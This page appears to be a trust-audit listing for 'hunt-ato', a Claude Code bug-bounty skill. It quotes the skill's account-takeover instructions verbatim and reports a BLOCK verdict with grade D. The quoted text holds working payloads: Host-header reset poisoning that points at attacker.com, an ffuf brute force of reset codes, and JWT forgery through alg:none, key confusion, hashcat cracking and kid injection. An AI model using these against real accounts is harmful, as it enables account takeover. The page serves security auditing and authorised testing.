Hunt AtoBLOCK
A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Overview
A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
c84f314844f2OBSERVED · 2026-10-10What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: hunt-ato description: "Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical." sources: hackerone_public, public_research report_count: 7 --- ## 13. ATO — ACCOUNT TAKEOVER TAXONOMY > 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO. ### Path 1: Password Reset Poisoning (Host-Header) ```bash POST /forgot-password HTTP/1.1 Host: attacker.com # primary Host swap # OR keep real Host and add one of: X-Forwarded-Host: attacker.com X-Host: attacker.com X-Forwarded-Server: attacker.com # OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com [email protected] ``` The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. **False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header. ### Path 2: Reset Token in Referer / Open-Redirect Leak ``` GET /reset-password?token=ABC123 → page loads third-party resource: <script src="https://analytics.com/t.js"> → browser sends Referer: https://target.com/reset-password?token=ABC123 → token exfiltrated to every off-origin host the page calls ``` Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence. ### Path 3: Predictable / Weak Reset Tokens ```bash # 6-digit numeric OTP-style reset code, no rate limit: ffuf -u "https://target.com/api/reset/verify" -X POST \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","code":"FUZZ"}' \ -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5 # time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable ``` **Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding. ### Path 4: Token No-Expiry / Reuse / Cross-Account ``` Expiry: request token → wait 2h → still valid? = bug Reuse: use token once → use again → still valid? = bug Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated) Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset ``` ### Path 5: Email Change Without Re-Auth ```bash PUT /api/user/email HTTP/1.1 Cookie: session=ATTACKER_A_SESSION {"new_email":"[email protected]"} # no current_password, no OTP, no email-confirm ``` If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth. ### Path 6: JWT Manipulation ```bash # (a) alg:none — strip the signature, set header alg to none python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))" # send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature # # (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key # convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it # # (c) weak HMAC secret: crack offline hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT # # (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid) ``` **Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding. ### Path 7:
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | NA |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (3)
The victim's account exists in a pending/unverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that ide
A passwordless-signup / magic-login / OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone/email), with no token step. Probe `*passwordles
- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH /api/users/{victimB_uid}` with attacker-A session + victim UID + `{"email":"attackeGates applied: critical_finding, no_behavioural_pass, undeclared_transfer.
c84f314844f2full audit observations/trust-audit/skill/elementalsouls__hunt-ato.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-10 | c84f314844f2 | BLOCK | D | 69 | first audit |
Questions
What does the Hunt Ato skill do?
A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Is Hunt Ato safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What can Hunt Ato access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (c84f314844f2), read on 2026-10-10. The repository is watched, and a new audit runs when it changes — this is the first audit.